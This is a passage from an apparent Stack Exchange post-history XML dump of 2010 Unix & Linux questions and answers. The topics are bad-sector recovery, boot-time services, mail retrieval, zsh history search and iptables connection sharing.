infrastructure, you have a more serious problem, and you will probably encounter errors just walking the directory tree. In this situation, I think the only sensible solution is to reformat the drive, optionally using ddrescue to recover data if necessary.&#xD;&#xA;&#xD;&#xA;Keep a very close eye on the drive. Sector reallocation is a very good [canary in the coal mine][3], potentially giving you early warning of a drive that is failing. By taking early action you can prevent a later catastrophic and very painful landslide. I'm not suggesting that a few sector reallocations are an indication that you should discard the drive. All modern drives need to do some reallocation. However, if the drive isn't very old (&lt; 1 yr) or you are getting frequent new reallocations (&gt; 1/month) then I recommend you replace it asap.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/ddrescue/ddrescue.html&#xD;&#xA;  [2]: http://smartmontools.sourceforge.net/badblockhowto.html&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Animal_sentinels" />
  <row Id="3934" PostHistoryTypeId="2" PostId="1929" RevisionGUID="f9826248-17f7-4b64-9a19-27828886e790" CreationDate="2010-09-12T15:43:28.707" UserId="1207" Text="The first step that needs to be taken is to make sure that you have a card that supports kernel-mode-setting.  If you don't you will likely still have to run X as root.  Ubuntu is looking into doing this and thus has a small set of directions here: https://wiki.ubuntu.com/X/Rootless which I think should work as a good starting place for most major distros." />
  <row Id="3935" PostHistoryTypeId="2" PostId="1930" RevisionGUID="341fa6e6-4111-4c1d-86ab-66be14619058" CreationDate="2010-09-12T15:55:35.037" UserId="73" Text="If you have a `cron` daemon, one of the predefined cron time hooks is `@reboot`, which naturally runs when the system starts. Run `crontab -e` to edit your `crontab` file, and add a line:&#xD;&#xA;&#xD;&#xA;    @reboot /your/command/here&#xD;&#xA;" />
  <row Id="3936" PostHistoryTypeId="5" PostId="553" RevisionGUID="616a061d-8c05-48f3-954e-e84497580630" CreationDate="2010-09-12T16:05:13.840" UserId="73" Comment="added 1 characters in body" Text="For a while I used Dirvish to do incremental backups of my machines, but it is slightly cumbersome to configure, and if you do not carry a copy of your configuration it can be hard to reproduce elsewhere.&#xD;&#xA;&#xD;&#xA;I am looking for backup programs for Unix, Linux that could:&#xD;&#xA;&#xD;&#xA;* Incrementally update my backup&#xD;&#xA;* Create &quot;mirror&quot; trees like dirvish did using hardlinks (to save space)&#xD;&#xA;* Ideally with a decent UI" />
  <row Id="3937" PostHistoryTypeId="5" PostId="1924" RevisionGUID="0bc9481c-c213-4568-ae00-7b6a87005ae2" CreationDate="2010-09-12T16:26:03.653" UserId="65" Comment="added 60 characters in body" Text="I need one process run before log in  to system. how to run it like services?(how to make services in Linux?)&#xD;&#xA;&#xD;&#xA;in ubuntu and fedora ? &#xD;&#xA;the service is customized tomcat" />
  <row Id="3938" PostHistoryTypeId="2" PostId="1931" RevisionGUID="f8b11700-5317-4e1f-909b-41aa879d3076" CreationDate="2010-09-12T16:30:26.707" UserId="885" Text="Traditionally, unix mail is delivered right to your machine (because if your email address is `lazer@machine.example.com`, surely you have a shell account on `machine.example.com`). It is usually delivered in a file called `/var/mail/lazer` or `/var/spool/mail/lazer`, though a [mail delivery agent](http://en.wikipedia.org/wiki/Mail_delivery_agent) may put it somewhere else. This still happens on unix mail servers, but nowadays most users don't have direct access to mail servers. Local mail (e.g. from cron jobs) is normally delivered in this way.&#xD;&#xA;&#xD;&#xA;Nowadays, typically, the mail is delivered on a server somewhere, and your only access to this server is a mail retrieval protocol, typically [POP](http://en.wikipedia.org/wiki/Post_Office_Protocol) or [IMAP](http://en.wikipedia.org/wiki/Internet_Message_Access_Protocol). Microsoft has a [proprietary protocol](http://en.wikipedia.org/wiki/Messaging_Application_Programming_Interface) to talk to its mail server (Exchange), and accessing Exchange with anything but Outlook can be difficult (Exchange has an optional modules for POP and IMAP, but they're not always enabled). Most ISPs and mail providers offer both POP and IMAP access; in an all-Microsoft corporate environment you might be stuck with Exchange.&#xD;&#xA;&#xD;&#xA;To read your mail under unix, you have three choices:&#xD;&#xA;&#xD;&#xA;* Arrange for the mail server to *forward* the mail to your computer. This is reasonable only if your computer is always on and connected to the Internet: you take responsibility for any failure, and must set things up properly to handle bounces, spam attempts, virus attacks, etc. Then your mail will arrive in the traditional unix way.&#xD;&#xA;&#xD;&#xA;* Fetch your mail from the server at regular intervals. The usual tool for this is [fetchmail](http://fetchmail.berlios.de/). It queries a POP or IMAP server and delivers the mail either using the normal system delivery mechanism or directly to a file of your choice. What protocol to use, what server to query, what username and password to pass, and so on will be found in your Outlook settings. Depending on how you configure fetchmail, a copy of the downloaded mails may or may not remain on the server.&#xD;&#xA;&#xD;&#xA;* Make your [mail client](http://en.wikipedia.org/wiki/Mail_User_Agent) itself retrieve the mail from the server using POP or IMAP. Most unix mail clients that are more advanced than the ancient `/bin/mail` can do this. Again, the parameters to access the server will be found in your Outlook settings. Outside the unix world (e.g. with Outlook) this is typically the only possible mode of operation.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3939" PostHistoryTypeId="5" PostId="1926" RevisionGUID="3ed2891f-8cff-4a0e-809c-71db577055bd" CreationDate="2010-09-12T17:10:33.490" UserId="912" Comment="added 34 characters in body; edited title" Text="    $ mail&#xD;&#xA;    No mail for lazer&#xD;&#xA;    $&#xD;&#xA;&#xD;&#xA;  - I am able to send mails using `mail`.&#xD;&#xA;  - I have unread mails in my inbox as I can see in Outlook.&#xD;&#xA;&#xD;&#xA;Why doesn't mail show me my mails? How can I make `mail` fetch them?" />
  <row Id="3940" PostHistoryTypeId="4" PostId="1926" RevisionGUID="3ed2891f-8cff-4a0e-809c-71db577055bd" CreationDate="2010-09-12T17:10:33.490" UserId="912" Comment="added 34 characters in body; edited title" Text="How to set up local mail retrieval and delivery?" />
  <row Id="3941" PostHistoryTypeId="2" PostId="1932" RevisionGUID="656f9c51-7d86-43b4-af1c-11d56d214dae" CreationDate="2010-09-12T18:28:20.010" UserId="912" Text="It was a stupid problem.&#xD;&#xA;&#xD;&#xA;My machine has function keys that need to be pressed in combination of &lt;kbd&gt;Fn&lt;/kbd&gt; key (opposite to what is there in most laptops). So, I was trying just that (&lt;kbd&gt;Fn&lt;/kbd&gt;+&lt;kbd&gt;F2&lt;/kbd&gt;, &lt;kbd&gt;Fn&lt;/kbd&gt;+&lt;kbd&gt;F12&lt;/kbd&gt;).&#xD;&#xA;&#xD;&#xA;Turns out while booting, you need to press &lt;kbd&gt;F2&lt;/kbd&gt; without the &lt;kbd&gt;Fn&lt;/kbd&gt; key." />
  <row Id="3942" PostHistoryTypeId="2" PostId="1933" RevisionGUID="d6405850-1b91-40b9-86d5-35db867c7621" CreationDate="2010-09-12T18:38:22.857" UserId="1074" Text="To run a service *without or before* logging in to the system (i.e. &quot;on boot&quot;), you will need to create a startup script and add it to the boot sequence.  &#xD;&#xA;There's three parts to a service script: start, stop and restart.  &#xD;&#xA;The basic structure of a service script is:  &#xD;&#xA;  &#xD;&#xA;    #!/bin/bash&#xD;&#xA;    #&#xD;&#xA;    RETVAL=0;&#xD;&#xA;&#xD;&#xA;    start() {&#xD;&#xA;    echo “Starting &lt;Service&gt;”&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    stop() {&#xD;&#xA;    echo “Stopping &lt;Service&gt;”&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    restart() {&#xD;&#xA;    stop&#xD;&#xA;    start&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    case “$1″ in&#xD;&#xA;    start)&#xD;&#xA;      start&#xD;&#xA;    ;;&#xD;&#xA;    stop)&#xD;&#xA;      stop&#xD;&#xA;    ;;&#xD;&#xA;    restart)&#xD;&#xA;      restart&#xD;&#xA;    ;;&#xD;&#xA;    *)&#xD;&#xA;    &#xD;&#xA;    echo $”Usage: $0 {start|stop|restart}”&#xD;&#xA;    exit 1&#xD;&#xA;    esac&#xD;&#xA;&#xD;&#xA;    exit $RETVAL  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Once you have tweaked the script to your liking, just place it in /etc/init.d/  &#xD;&#xA;And, add it to the system service startup process (on Fedora, I am not a Ubuntu user, &gt;D):&#xD;&#xA;&#xD;&#xA;    chkconfig -add &lt;ServiceName&gt;  &#xD;&#xA;&#xD;&#xA;Service will be added to the system boot up process and you will not have to manually start it up again.  &#xD;&#xA;&#xD;&#xA;Cheers!  &#xD;&#xA;" />
  <row Id="3943" PostHistoryTypeId="6" PostId="1924" RevisionGUID="5551833a-b6ec-4273-b4f5-5f49b7760543" CreationDate="2010-09-12T19:34:30.487" UserId="29" Comment="add tags" Text="éubuntuàéfedoraàéserveràéinitöscriptàétomcatà" />
  <row Id="3944" PostHistoryTypeId="2" PostId="1934" RevisionGUID="beec0e72-fdc7-4d0f-b2b8-730905f97b89" CreationDate="2010-09-12T19:35:53.867" UserId="29" Text="Tomcat is a fairly common service, I'd recommend looking at the init script provided by the distro already. Chances are it works with your customized binary, with little to no tweaking." />
  <row Id="3945" PostHistoryTypeId="5" PostId="1928" RevisionGUID="f9f5ad6b-cdd6-493b-8808-502413d5552d" CreationDate="2010-09-12T19:48:15.470" UserId="1620" Comment="Add two more paragraphs, about the need to read the entire disk once in a while" Text="A pending unreadable sector is one that returned a read error and which the drive has marked for remapping at the first possible opportunity. However, it can't do the remapping until one of two things happens:&#xD;&#xA;&#xD;&#xA; 1. The sector is reread successfully&#xD;&#xA; 2. The sector is rewritten&#xD;&#xA;&#xD;&#xA;Until then, the sector remains pending. So you have two corresponding ways to deal with this:&#xD;&#xA;&#xD;&#xA; 1. Keep trying to reread the sector until you succeed&#xD;&#xA; 2. Overwrite that sector with new data&#xD;&#xA;&#xD;&#xA;Obviously, (1) is non-destructive, so you should probably try it first, although keep in mind that if the drive is starting to fail in a serious way then continual reading from a bad area is likely to make it fail much more quickly. If you have a lot of pending sectors and other errors, and you care about the data on the drive, I recommend taking it out of service and using the excellent tool [ddrescue][1] to recover as much data as possible. Then discard the drive.&#xD;&#xA;&#xD;&#xA;If the sector in question contains data you don't care about, or can restore from a backup, then overwriting it is probably the quickest and simplest solution. You can then view the reallocated and pending counts for the drive to make sure the sector was taken care of.&#xD;&#xA;&#xD;&#xA;How do you find out what the sector corresponds to in the filesystem? I found an excellent article on the *smartmontools* web site, [here][2], although it's fairly technical and is specific to ext2/3/4 and reiser file systems.&#xD;&#xA;&#xD;&#xA;A simpler approach, which I used on one of my own (Mac) drives, is to use `find / -xdev -type f -print0 | xargs -0 ...` to read every file on the system. Make a note of the pending count before running this. If the sector is inside a file, you will get an error message from the tool you used to read the files (eg md5sum) showing you the path to it. You can then focus your attentions on re-reading just this file until it reads successfully. Often this will solve the problem, if it's an infrequently-used file which just needed to be reread a few times. If the error goes away, or you don't encounter any errors in reading all the files, check the pending count to see if it's decreased. If it has, the problem was solved by reading.&#xD;&#xA;&#xD;&#xA;If the file cannot be read successfully after multiple tries (eg 20) then you need to overwrite the file, or the block within the file, to allow the drive to reallocate the sector. You can use ddrescue on the file (rather than the partition) to overwrite just the one sector, by copying to a temporary file and then copying back again. Note that just removing the file at this point is a bad idea, because the bad sector will go into the free list where it will be harder to find. Completely overwriting it is bad too, because again the sectors will go into the free list. You need to rewrite the existing blocks. The `notrunc` option of `dd` is one way to do this.&#xD;&#xA;&#xD;&#xA;If you encounter no errors, and the pending count did not decrease, then the sector must be in the freelist or in part of the filesystem infrastructure (eg an inode table). You can try filling up all the free space with `cat /dev/zero &gt;tempfile`, and then check the pending count. If it goes down, the problem was in the free list and has now gone away.&#xD;&#xA;&#xD;&#xA;If the sector is in the infrastructure, you have a more serious problem, and you will probably encounter errors just walking the directory tree. In this situation, I think the only sensible solution is to reformat the drive, optionally using ddrescue to recover data if necessary.&#xD;&#xA;&#xD;&#xA;Keep a very close eye on the drive. Sector reallocation is a very good [canary in the coal mine][3], potentially giving you early warning of a drive that is failing. By taking early action you can prevent a later catastrophic and very painful landslide. I'm not suggesting that a few sector reallocations are an indication that you should discard the drive. All modern drives need to do some reallocation. However, if the drive isn't very old (&lt; 1 yr) or you are getting frequent new reallocations (&gt; 1/month) then I recommend you replace it asap.&#xD;&#xA;&#xD;&#xA;I don't have empirical evidence to prove it, but my experience suggests that disk problems can be reduced by reading the whole disk once in a while, either by a `dd` of the raw disk or by reading every file using `find`. Almost all the disk problems I've experienced in the past several years have cropped up first in rarely-used files, or on machines that are not used much. This makes sense heuristically, too, in that if a sector is being reread frequently the drive has a chance to reallocate it when it first detects a minor problem with that sector rather than waiting until the sector is completely unreadable. The drive is powerless to do anything with a sector unless the host accesses it somehow, either by reading or writing it or by conducting one of the SMART tests.&#xD;&#xA;&#xD;&#xA;I'd like to experiment with the idea of a nightly or weekly cron job that reads the whole disk. Currently I'm using a &quot;poor man's RAID&quot; in which I have a second hard drive in the machine and I back up the main disk to it every night. In some ways, this is actually better than RAID mirroring, because if I goof and delete a file by mistake I can get yesterday's version immediately from the backup disk. On the other hand, I believe a hardware RAID controller does a lot of good work in the background to monitor, report and fix disk problems as they emerge. My current backup script uses `rsync` to avoid copying data that hasn't changed, but in view of the need to reread all sectors maybe it would be better to copy everything, or to have a separate script that reads the entire raw disk every week.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/ddrescue/ddrescue.html&#xD;&#xA;  [2]: http://smartmontools.sourceforge.net/badblockhowto.html&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Animal_sentinels" />
  <row Id="3946" PostHistoryTypeId="5" PostId="1809" RevisionGUID="0d0d4ef0-74ef-409f-a15d-0cf2210fd02a" CreationDate="2010-09-12T20:18:50.470" UserId="305" Comment="added 311 characters in body" Text="You can get the pid of requestin user and ask system of his/her home directory. So it is possible.&#xD;&#xA;&#xD;&#xA;However I'm not sure if there is no SUID programs that would assume FS as static.&#xD;&#xA;&#xD;&#xA;**Edit:**&#xD;&#xA;&#xD;&#xA;    struct fuse_context *ctx = fuse_get_context ();&#xD;&#xA;    /* CRITICAL SECTION */&#xD;&#xA;    struct passwd *pwd = getpwuid(ctx-&gt;uid);&#xD;&#xA;    char *home_dir = pwd ? strdup(pwd-&gt;pw_dir) : NULL;&#xD;&#xA;    /* END OF CRITICAL SECTION */&#xD;&#xA;&#xD;&#xA;The above code does not checks errors etc. but should show it is possible." />
  <row Id="3947" PostHistoryTypeId="5" PostId="1809" RevisionGUID="78be3f85-3033-4ddb-a1ef-8d8dab810cda" CreationDate="2010-09-12T20:25:39.750" UserId="305" Comment="Change to safe functions" Text="You can get the pid of requestin user and ask system of his/her home directory. So it is possible.&#xD;&#xA;&#xD;&#xA;However I'm not sure if there is no SUID programs that would assume FS as static.&#xD;&#xA;&#xD;&#xA;**Edit:**&#xD;&#xA;&#xD;&#xA;    struct fuse_context *ctx = fuse_get_context ();&#xD;&#xA;    struct passwd pwd, *ppwd;&#xD;&#xA;    char buffer[1024];&#xD;&#xA;    int status = getpwuid_r (ctx-&gt;ui, &amp;pwd, buffer, sizeof(buffer), &amp;ppwd);&#xD;&#xA;    if (status == 0) {&#xD;&#xA;      if (ppwd == NULL) {&#xD;&#xA;        // No record found&#xD;&#xA;      } else {&#xD;&#xA;        // Handle record&#xD;&#xA;      }&#xD;&#xA;    } else {&#xD;&#xA;        // Handle error&#xD;&#xA;    } &#xD;&#xA;&#xD;&#xA;The above code is not ideal but should do work for common cases." />
  <row Id="3948" PostHistoryTypeId="2" PostId="1935" RevisionGUID="b6e11a6b-39ca-4015-b851-bbb2753d609e" CreationDate="2010-09-12T20:28:13.087" UserId="305" Text="How to  extend &lt;kbd&gt;Ctrl+R&lt;/kbd&gt; search in zsh? It cannot find entry despite it is in history file." />
  <row Id="3949" PostHistoryTypeId="1" PostId="1935" RevisionGUID="b6e11a6b-39ca-4015-b851-bbb2753d609e" CreationDate="2010-09-12T20:28:13.087" UserId="305" Text="Extending &lt;kbd&gt;Ctrl+R&lt;/kbd&gt; search in zsh" />
  <row Id="3950" PostHistoryTypeId="3" PostId="1935" RevisionGUID="b6e11a6b-39ca-4015-b851-bbb2753d609e" CreationDate="2010-09-12T20:28:13.087" UserId="305" Text="éshellàézshà" />
  <row Id="3951" PostHistoryTypeId="2" PostId="1936" RevisionGUID="25a99a40-efc7-4b77-aa5d-d72edb0541b9" CreationDate="2010-09-12T20:40:37.430" UserId="1327" Text="Asuming that:&#xD;&#xA;&#xD;&#xA; - PC1 has a working internet connection which we want to share with PC2. &#xD;&#xA; - PC1 is connected to PC2 with a cross-over cable or a switch&#xD;&#xA; - 192.168.0.1 is the IP address we assign to PC1&#xD;&#xA; - 192.168.0.2 is the IP address we assign to PC1&#xD;&#xA; - 10.0.0.2 is the IP address for the nameserver used by PC1 ( `cat /etc/resolve.conf` on PC1 )&#xD;&#xA;&#xD;&#xA;**ON PC1:**&#xD;&#xA;&#xD;&#xA;**eth0** is the network interface that connects to PC2 &#xD;&#xA;  &#xD;&#xA;    # configure eth0&#xD;&#xA;    ifconfig eth0 192.168.0.1 netmask 255.255.255.0&#xD;&#xA;    ifconfig eth0 up&#xD;&#xA;&#xD;&#xA;    # enable forwarding&#xD;&#xA;    echo 1 &gt; /proc/sys/net/ipv4/ip_forward&#xD;&#xA;&#xD;&#xA;    # forward with iptables&#xD;&#xA;    iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE&#xD;&#xA;    /etc/rc.d/iptables save&#xD;&#xA;    /etc/rc.d/iptables start&#xD;&#xA;&#xD;&#xA;**ON PC2:**&#xD;&#xA;&#xD;&#xA;**eth0** is the interface that connects to PC1  &#xD;&#xA;&#xD;&#xA;    # enable eth0&#xD;&#xA;    ifconfig eth0 192.168.0.2 netmask 255.255.255.0&#xD;&#xA;    ifconfig eth0 up&#xD;&#xA;&#xD;&#xA;    # route through other pc&#xD;&#xA;    route add default gw 192.168.0.2&#xD;&#xA;&#xD;&#xA;    # specify nameserver&#xD;&#xA;    echo &quot;nameserver 10.0.0.2&quot; &gt;&gt; /etc/resolve.conf&#xD;&#xA;&#xD;&#xA;See [Internet Share](http://wiki.archlinux.org/index.php/Internet_Share) for reference." />
  <row Id="3953" PostHistoryTypeId="2" PostId="1938" RevisionGUID="41edde35-1591-4c85-8755-62acb18b2951" CreationDate="2010-09-12T21:07:17.863" UserId="1339" Text="I don't think it is possible to &quot;extend&quot; this search.&#xD;&#xA;&#xD;&#xA;In a default configuration &lt;kbd&gt;Ctrl+R&lt;/kbd&gt; is mapped to a builtin function of the ZSH Line Edtior (*zle*): `history-incremental-search-backward`&#xD;&#xA;&#xD;&#xA;See [History Control in the ZSH Manpage][1].&#xD;&#xA;&#xD;&#xA;It seems that there are no possibilities to &quot;extend&quot; this function.&#xD;&#xA;&#xD;&#xA;What is the entry which is not found?&#xD;&#xA;Any examples?&#xD;&#xA;&#xD;&#xA;  [1]: http://zsh.sourceforge.net/Doc/Release/Zsh-Line-Editor.html#SEC130" />
  <row Id="3954" PostHistoryTypeId="6" PostId="1484" RevisionGUID="c37a30bf-22b0-4456-a14e-22eb880dec26" CreationDate="2010-09-12T21:07:35.603" UserId="29" Comment="change title to be better" Text="élinuxàécommandölineàébashàéfindàéfileöcommandà" />
  <row Id="3955" PostHistoryTypeId="4" PostId="1484" RevisionGUID="c37a30bf-22b0-4456-a14e-22eb880dec26" CreationDate="2010-09-12T21:07:35.603" UserId="29" Comment="change title to be better" Text="find executable binaries files within dir" />
  <row Id="3956" PostHistoryTypeId="5" PostId="1918" RevisionGUID="b82913b0-a0d8-4f7f-b21c-bcbcb494d4bb" CreationDate="2010-09-12T21:10:27.593" UserId="1327" Comment="added tags, changed title" Text="When I connect my laptop to a **wpa2** secured router, using **[wicd][1]** I don't have any connection problems. &#xD;&#xA;&#xD;&#xA;**BUT** when I connect with the following command-line command ( as outlined [here][1] )&#xD;&#xA;&#xD;&#xA;    wpa_supplicant -B -Dwext -i wlan0 -c /etc/wpa_supplicant.conf&#xD;&#xA;&#xD;&#xA;My connection is unstabble, sometimes working sometimes not, indicated by the output *similiar ( output reconstructed )* to the following:&#xD;&#xA;&#xD;&#xA;    $ ping 10.0.0.2&#xD;&#xA;    PING 10.0.0.2 (10.0.0.2) 56(84) bytes of data.&#xD;&#xA;    64 bytes from 10.0.0.2: icmp_seq=1 ttl=62 time=1.71 ms&#xD;&#xA;    64 bytes from 10.0.0.2: icmp_seq=2 ttl=62 time=1.59 ms&#xD;&#xA;    From 192.168.0.2 icmp_seq=3 Destination Host Unreachable&#xD;&#xA;    From 192.168.0.2 icmp_seq=4 Destination Host Unreachable&#xD;&#xA;    64 bytes from 10.0.0.2: icmp_seq=5 ttl=62 time=1.71 ms&#xD;&#xA;    64 bytes from 10.0.0.2: icmp_seq=6 ttl=62 time=1.59 ms&#xD;&#xA;    From 192.168.0.2 icmp_seq=7 Destination Host Unreachable&#xD;&#xA;    From 192.168.0.2 icmp_seq=8 Destination Host Unreachable&#xD;&#xA;    64 bytes from 10.0.0.2: icmp_seq=9 ttl=62 time=1.71 ms&#xD;&#xA;    64 bytes from 10.0.0.2: icmp_seq=10 ttl=62 time=1.59 ms&#xD;&#xA;&#xD;&#xA;[1]: http://wicd.sourceforge.net/&#xD;&#xA;[2]: http://wiki.archlinux.org/index.php/WPA_Supplicant" />
  <row Id="3957" PostHistoryTypeId="4" PostId="1918" RevisionGUID="b82913b0-a0d8-4f7f-b21c-bcbcb494d4bb" CreationDate="2010-09-12T21:10:27.593" UserId="1327" Comment="added tags, changed title" Text="wireless networking" />
  <row Id="3958" PostHistoryTypeId="6" PostId="1918" RevisionGUID="b82913b0-a0d8-4f7f-b21c-bcbcb494d4bb" CreationDate="2010-09-12T21:10:27.593" UserId="1327" Comment="added tags, changed title" Text="énetworkingàéarchölinuxàéwpaösupplicantà" />
  <row Id="3959" PostHistoryTypeId="4" PostId="1935" RevisionGUID="da675776-8c96-45ae-8fd5-667b88757d65" CreationDate="2010-09-12T21:11:11.827" UserId="29" Comment="renaming title to be more accurate" Text="Extending history search in zsh" />
  <row Id="3960" PostHistoryTypeId="6" PostId="1935" RevisionGUID="da675776-8c96-45ae-8fd5-667b88757d65" CreationDate="2010-09-12T21:11:11.827" UserId="29" Comment="renaming title to be more accurate" Text="éshellàézshàécommandöhistoryà" />
  <row Id="3961" PostHistoryTypeId="5" PostId="1935" RevisionGUID="f2272248-a788-4b00-9c11-9446846b1e29" CreationDate="2010-09-12T21:12:16.330" UserId="305" Comment="added 1933 characters in body" Text="How to  extend &lt;kbd&gt;Ctrl+R&lt;/kbd&gt; search in zsh? It cannot find entry despite it is in history file.&#xD;&#xA;&#xD;&#xA;**Edit:** My `.zsh`:&#xD;&#xA;&#xD;&#xA;    setopt AUTO_CD&#xD;&#xA;    setopt CORRECT_ALL&#xD;&#xA;    setopt EXTENDED_GLOB&#xD;&#xA;    # History&#xD;&#xA;    SAVEHIST=10000&#xD;&#xA;    HISTFILE=~/.zsh/history&#xD;&#xA;    setopt APPEND_HISTORY&#xD;&#xA;    setopt EXTENDED_HISTORY&#xD;&#xA;    setopt INC_APPEND_HISTORY&#xD;&#xA;    setopt HIST_FIND_NO_DUPS&#xD;&#xA;    setopt HIST_IGNORE_SPACE&#xD;&#xA;    setopt NO_HIST_BEEP&#xD;&#xA;    setopt SHARE_HISTORY&#xD;&#xA;    # Keys&#xD;&#xA;    autoload zkbd&#xD;&#xA;    [[ ! -d ~/.zkbd ]] &amp;&amp; mkdir ~/.zkbd&#xD;&#xA;    [[ ! -f ~/.zkbd/$TERM-${DISPLAY:-$VENDOR-$OSTYPE} ]] &amp;&amp; zkbd&#xD;&#xA;    source  ~/.zkbd/$TERM-${DISPLAY:-$VENDOR-$OSTYPE}&#xD;&#xA;    [[ -n ${key[Home]}    ]]  &amp;&amp; bindkey  &quot;${key[Home]}&quot; beginning-of-line&#xD;&#xA;    [[ -n ${key[End]}     ]]  &amp;&amp; bindkey  &quot;${key[End]}&quot;     end-of-line&#xD;&#xA;    [[ -n ${key[Insert]}  ]]  &amp;&amp; bindkey  &quot;${key[Insert]}&quot;  overwrite-mode&#xD;&#xA;    [[ -n ${key[End]}     ]]  &amp;&amp; bindkey  &quot;${key[End]}&quot;     end-of-line&#xD;&#xA;    [[ -n ${key[Insert]}  ]]  &amp;&amp; bindkey  &quot;${key[Insert]}&quot;  overwrite-mode&#xD;&#xA;    [[ -n ${key[Delete]}  ]]  &amp;&amp; bindkey  &quot;${key[Delete]}&quot;  delete-char&#xD;&#xA;    [[ -n ${key[Up]}      ]]  &amp;&amp; bindkey  &quot;${key[Up]}&quot; up-line-or-history&#xD;&#xA;    [[ -n ${key[Down]}    ]]  &amp;&amp; bindkey  &quot;${key[Down]}&quot; down-line-or-history&#xD;&#xA;    [[ -n ${key[Left]}    ]]  &amp;&amp; bindkey  &quot;${key[Left]}&quot;    backward-char&#xD;&#xA;    [[ -n ${key[Right]}   ]]  &amp;&amp; bindkey  &quot;${key[Right]}&quot;   forward-char&#xD;&#xA;    # Auto completion&#xD;&#xA;    autoload -U compinit promptinit&#xD;&#xA;    compinit&#xD;&#xA;    promptinit&#xD;&#xA;    prompt clint&#xD;&#xA;    zstyle ':completion::complete:*' use-cache 1&#xD;&#xA;    # MIME&#xD;&#xA;    autoload -U zsh-mime-setup&#xD;&#xA;    zsh-mime-setup&#xD;&#xA;    # Calc&#xD;&#xA;    autoload -U zcalc&#xD;&#xA;    # Editor&#xD;&#xA;    export EDITOR=vim&#xD;&#xA;    # Useful&#xD;&#xA;    alias background=&quot;schedtool -B -e&quot;&#xD;&#xA;    alias lowprio=&quot;nice -n 20 ionice -c 3&quot;&#xD;&#xA;    alias blowprio=&quot;ionice -c 3 schedtool -B -e nice -n 20&quot;&#xD;&#xA;&#xD;&#xA;`cave resolve -c` should find `blowprio cave resolve -c world -C a -R w --resume-file resume-world` which is in `.zsh/history` (at least `grep` says so) but it finds no match." />
  <row Id="3962" PostHistoryTypeId="5" PostId="1924" RevisionGUID="bfdcee19-656f-47ee-a7c3-2e2104ee61c8" CreationDate="2010-09-12T21:12:55.520" UserId="65" Comment="edited body; edited tags; edited title; edited tags" Text="I need one process run before log in  to system. how to run it like services?(how to make services in Linux?)&#xD;&#xA;&#xD;&#xA;in Ubuntu and Fedora ? &#xD;&#xA;the service is customized tomcat" />
  <row Id="3963" PostHistoryTypeId="4" PostId="1924" RevisionGUID="bfdcee19-656f-47ee-a7c3-2e2104ee61c8" CreationDate="2010-09-12T21:12:55.520" UserId="65" Comment="edited body; edited tags; edited title; edited tags" Text="Creat services in Linux (Start up  in linux)" />
  <row Id="3964" PostHistoryTypeId="6" PostId="1924" RevisionGUID="bfdcee19-656f-47ee-a7c3-2e2104ee61c8" CreationDate="2010-09-12T21:12:55.520" UserId="65" Comment="edited body; edited tags; edited title; edited tags" Text="éubuntuàéfedoraàéserveràéinitöscriptà" />
  <row Id="3965" PostHistoryTypeId="2" PostId="1939" RevisionGUID="a0926127-0c24-4a81-a749-e35144f81cdc" CreationDate="2010-09-12T21:19:55.590" UserId="29" Comment="remove formatting from man page copy" Text="&lt;blockquote&gt;&#xD;&#xA;Zsh is a UNIX command interpreter (shell) usable as an interactive login shell and  as  a shell  script  command processor.  Of the standard shells, zsh most closely resembles ksh but includes many enhancements.  Zsh has command line editing, builtin  spelling  correction,  programmable command  completion,  shell  functions (with autoloading), a history mechanism, and a host of other features.&#xD;&#xA;&lt;/blockquote&gt;" />
  <row Id="3966" PostHistoryTypeId="2" PostId="1940" RevisionGUID="bab88f05-5405-485a-a3ca-e431578904aa" CreationDate="2010-09-12T21:19:55.590" UserId="29" Text="the Z shell" />
  <row Id="3967" PostHistoryTypeId="2" PostId="1941" RevisionGUID="bcd168d6-6d78-4b33-abc8-61364a635e52" CreationDate="2010-09-12T21:24:01.080" UserId="29" Text="&lt;blockquote&gt;&#xD;&#xA;Mail is an intelligent mail processing system, which has a command syntax reminiscent of ed with lines replaced by messages.&#xD;&#xA;&lt;/blockquote&gt;" />
  <row Id="3968" PostHistoryTypeId="2" PostId="1942" RevisionGUID="5058781b-7d57-4187-a42e-1325a0b8557c" CreationDate="2010-09-12T21:24:01.080" UserId="29" Text="The mail command - send and receive mail" />
  <row Id="3969" PostHistoryTypeId="2" PostId="1943" RevisionGUID="26154ed6-37b7-42d7-8e21-601626174e0e" CreationDate="2010-09-12T21:24:40.700" UserId="1327" Text="I have a list of files and I need to **find all the image-files** from that list.&#xD;&#xA;&#xD;&#xA;For example, if my list contained the following:&#xD;&#xA;&#xD;&#xA;    pidgin.tar.gz&#xD;&#xA;    photo01.jpg&#xD;&#xA;    picture01&#xD;&#xA;    screenshot.gif&#xD;&#xA;    invoice.pdf&#xD;&#xA;&#xD;&#xA;Then I would like only to select:&#xD;&#xA;&#xD;&#xA;    photo01.jpg&#xD;&#xA;    picture01&#xD;&#xA;    screenshot.gif&#xD;&#xA;&#xD;&#xA;Notes: &#xD;&#xA;&#xD;&#xA; - Method must not be dependant on file extensions&#xD;&#xA; - Obscure image formats for Photoshop and Gimp can be ignored. ( If `feh` can't show it, its not a image )" />
  <row Id="3970" PostHistoryTypeId="1" PostId="1943" RevisionGUID="26154ed6-37b7-42d7-8e21-601626174e0e" CreationDate="2010-09-12T21:24:40.700" UserId="1327" Text="How to find image files by content" />
  <row Id="3971" PostHistoryTypeId="3" PostId="1943" RevisionGUID="26154ed6-37b7-42d7-8e21-601626174e0e" CreationDate="2010-09-12T21:24:40.700" UserId="1327" Text="ébashàéfileöcommandà" />
